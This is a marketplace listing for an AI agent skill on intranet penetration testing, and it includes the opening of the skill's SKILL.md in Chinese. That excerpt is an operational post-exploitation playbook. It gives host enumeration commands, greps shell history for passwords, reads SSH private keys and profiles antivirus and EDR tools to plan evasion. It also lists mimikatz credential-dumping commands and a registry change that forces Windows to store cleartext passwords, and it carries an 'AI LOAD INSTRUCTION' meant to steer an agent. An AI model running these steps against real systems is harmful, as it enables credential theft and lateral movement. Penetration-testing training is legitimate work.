Skip to content
Agentmart
Submit a tool

intranet-penetration-testing

内网渗透测试深度专业技能:本地信息收集与凭证窃取(mimikatz/LSASS/ntds.dit)、内网探测与隐藏隧道(frp/Chisel/DNS/ICMP)、Windows/Linux提权、横向移动矩阵(IPC/WMI/DCOM/PSEXEC)、AD域渗透与域控接管(Zerologon/Kerberoast/AD…

Skill by langbyyi

IndexedApache-2.0★ 131
Write a review

Install

Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.

npx agentmarket install skill/langbyyi-intranet-penetration-testing

Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.

Get the weekly diff

The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.

We use your email only for this newsletter. Privacy

About

内网渗透测试深度专业技能:本地信息收集与凭证窃取(mimikatz/LSASS/ntds.dit)、内网探测与隐藏隧道(frp/Chisel/DNS/ICMP)、Windows/Linux提权、横向移动矩阵(IPC/WMI/DCOM/PSEXEC)、AD域渗透与域控接管(Zerologon/Kerberoast/ADCS)、权限维持与痕迹清除、免杀与C2、AI大模型内网攻击面(Ollama/vLLM/向量数据库/RAG/MCP/Agent)、AI辅助红队作战(路径分析/免杀增强/自动化)

Use cases: testing, ml, marketing, agent-building

No reviews yet. Installed it? Reviews come from verified installers only. How reviews work

Permissions

What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.

Tools
No tools found
Secrets
None asked for
Install scripts
None found

Network hosts it talks to 1

  • codeload.github.com · found in install command

Files it touches

  • ~/.claude/skills/intranet-penetration-testing

What's inside

Skill name
intranet-penetration-testing
Description
内网渗透测试深度专业技能:本地信息收集与凭证窃取(mimikatz/LSASS/ntds.dit)、内网探测与隐藏隧道(frp/Chisel/DNS/ICMP)、Windows/Linux提权、横向移动矩阵(IPC/WMI/DCOM/PSEXEC)、AD域渗透与域控接管(Zerologon/Kerberoast/ADCS)、权限维持与痕迹清除、免杀与C2、AI大模型内网攻击面(Ollama/vLLM/向量数据库/RAG/MCP/Agent)、AI辅助红队作战(路径分析/免杀增强/自动化)
License
Apache-2.0
Metadata
version: 1.0.0
Instructions
1,009 lines in SKILL.md · view on GitHub

Before installing

  • Instructions call the network
  • Instructions read files in your home folder (~/.ssh, ~/.aws…)

Agent Skills spec issues

  • body: 1009 lines (spec recommends under 500)

Files (1)

  • SKILL.md

SKILL.md (first lines)

# 内网渗透测试深度技能

> **AI LOAD INSTRUCTION**: 内网渗透全链路专家打法。按已知前提:已获初始立足点。聚焦本地收集→凭据窃取→隧道→提权→横向→域渗透→维持的递进决策,域渗透细节由 active-directory-attack 细分包承接。维持/免杀类动作先过 authorized-attack-scope。

## 概述

内网渗透是攻防对抗的决胜战场——外网打点成功后,能否**从一台主机走向整个内网、直至域控接管**,取决于信息收集的深度、凭证获取的能力与攻击路径的规划。本技能以《安服内网渗透测试指南》为骨架,以**资深攻防专家视角**组织,覆盖**本地信息收集→凭证窃取→内网探测→隐藏隧道→权限提升→横向移动→AD域渗透→权限维持→痕迹清除→免杀C2**完整攻击链,并**结合AI大模型能力**补充两个前沿维度:**AI大模型系统本身的内网攻击面**(私有化LLM/Ollama/vLLM/向量数据库/RAG/MCP/Agent)与**AI辅助红队作战**(大模型驱动的信息分析、攻击路径规划、免杀增强与自动化)。

与`network-penetration-testing`技能(全流程攻击链概览)互补:本技能聚焦内网阶段的高频实操细节与当代高端对抗手法。

## 一、本地信息收集(打点后的第一站)

> 原则:**先本地后网络,先凭证后提权**。本地信息收集决定后续所有攻击路径的可行性,10分钟的系统化收集胜过盲目扫描。

### 1.1 网络/系统/软件/服务信息
```bat
ipconfig /all                                                      :: 网卡/网关/DNS(域判断关键)
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"   :: OS版本与架构
echo %PROCESSOR_ARCHITECTURE%                                      :: 架构(影响payload选择)
wmic product get name,version                                      :: 安装软件清单(找可利用中间件)
wmic service list brief                                            :: 服务列表(找错误配置/第三方服务)
tasklist /svc                                                      :: 进程与服务关联(杀软/EDR/AV)
wmic startup get command,caption                                   :: 启动项(持久化线索/账密)
schtasks /query /fo LIST /v                                        :: 计划任务(常藏连接账号密码)
net session                                                        :: 本机与客户端的会话
netstat -anto                                                      :: 端口/连接(判断出网/服务)
```

### 1.2 用户与会话
```bat
net user                                                           :: 本机用户列表
net localgroup administrators                                      :: 本地管理员组(常含域用户)
query user                                                         :: 当前在线用户(RDP目标)
net user <username>                                                :: 用户详情(上次登录时间等)
whoami /all                                                        :: 当前权限与令牌信息(提权线索)
wmic useraccount get name,sid,disabled                             :: SID与禁用状态
```

### 1.3 补丁/防火墙/共享/路由
```bat
wmic qfe get Caption,HotFixID,InstalledOn                          :: 补丁列表(缺哪补丁→对应漏洞)
netsh advfirewall show allprofiles                                 :: 防火墙状态与规则
net share                                                          :: 本机共享(敏感共享泄露)
wmic share get name,path,status                                    :: 共享列表
route print                                                        :: 路由表(发现其他网段)
arp -a                                                             :: ARP缓存(活跃主机/网关)
```
> **高级**:`arp -a` 与 `route print` 是发现**新网段**的第一手情报——内网多网段边界机往往是跳板机的首选。

### 1.4 历史命令与登录记录
```bash
# Windows
# 每个用户的 .bash_history 类似物——PowerShell历史
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# Linux(含大量敏感账号密码/IP/服务配置)
history
cat ~/.bash_history
grep -iE "pass|pwd|ssh|mysql|redis|token|secret" ~/.bash_history
```
**RDP/SSH 外连记录定位运维人员**:
```
# Windows RDP外连记录(快速定位运维/管理员主机)
cmdkey /list                                     # 保存的凭据(可离线解密)
# SharpEventLog: 读取本机所有登录本机的计算机记录
# 位置: 注册表 HKCU\Software\Microsoft\Terminal Server Client\Servers
reg query "HKCU\Software\Microsoft\Terminal Server Client\Default"
reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers" /s

# Linux SSH
cat ~/.ssh/authorized_keys                      # 谁曾免密登录过
cat ~/.ssh/id_rsa*                              # 私钥(可复用登录其他主机)
lastlog && last -a                              # 登录IP历史
cat ~/.ssh/config /etc/ssh/ssh_config           # 配置中的跳板/账号
```

### 1.5 杀软/EDR识别(决定免杀策略)
```
# 直接看进程
tasklist | findstr /i "360 kav avp mcshield egui safedog hws hipstray MsMpEng
  Norton symantec cccen NISUN x64 sysdiag 火绒 安天 深信服 奇安信 天擎
  QAX 微步 青藤 ossec alibaba aegis"
# 服务
wmic service get name,displayname,pathname | findstr /i "360 kav aegis"
# 驱动
driverquery /v | findstr /i "360 qutmips ysprotect sysdiag"
# PowerShell AMSI/CLM 状态
Get-MpComputerStatus 2>$null | Select RealTimeProtectionEnabled
```
> **决策链**:识别杀软 → 判断有无EDR(是否有内核驱动/行为分析)→ 决定免杀强度与上线方式(进程注入/无文件/白利用)。

### 1.6 AI辅助信息收集分析
```
# 大模型快速处理原始输出:把 ipconfig/systeminfo/tasklist/wmic 输出丢给LLM,
# 让其标注: 1)可疑的高权限进程 2)可利用的第三方软件 3)缺失的关键补丁
# 4)网段关系图 5)杀软与免杀建议。省去人工逐行翻找的耗时。
# 典型提问示例(见第十三章AI辅助红队作战):
#  "分析以下 systeminfo 输出,列出可能存在的提权漏洞(给出CVE编号)"
#  "从这份 tasklist 中识别出所有安全软件及其类型(AV/EDR/HIPS)"
```

## 二、凭证窃取(密码是内网通行证)

> 内网渗透本质是**凭证的收集与复用**。一次抓取的明文密码/哈希可用于密码喷洒、撞库、PTH 与横向移动,价值远超单个系统权限。

### 2.1 Windows凭证窃取(mimikatz系列)
```
# 管理员/SYSTEM权限,先提权
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords          # 抓LSASS中登录凭据(明文+NTLM)

# Win10/2012R2+默认不存明文,开启WDigest后重启/重登可抓明文
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
```
**LSASS 提取(mimikatz被拦时)**:
```
# Procdump(微软官方签名,白利用)

From langbyyi/CyberStrikeAI-SRC, Apache-2.0.

More from langbyyi/CyberStrikeAI-SRC

Signals

Stars
131
Forks
11
Open issues
0
Last commit (this folder)
Sep 9, 2026 (1 month ago)
Last release
Oct 16, 2026 (12 days ago)

From GitHub (fetched Oct 24, 2026).

Details

Version
1.0.0
License
Apache-2.0
First seen
Oct 24, 2026
Last checked
Oct 24, 2026

More from langbyyi

Cite this page

intranet-penetration-testing skill. Agent Mart. https://agentmart.dev/skills/langbyyi-intranet-penetration-testing (last updated 2026-10-24)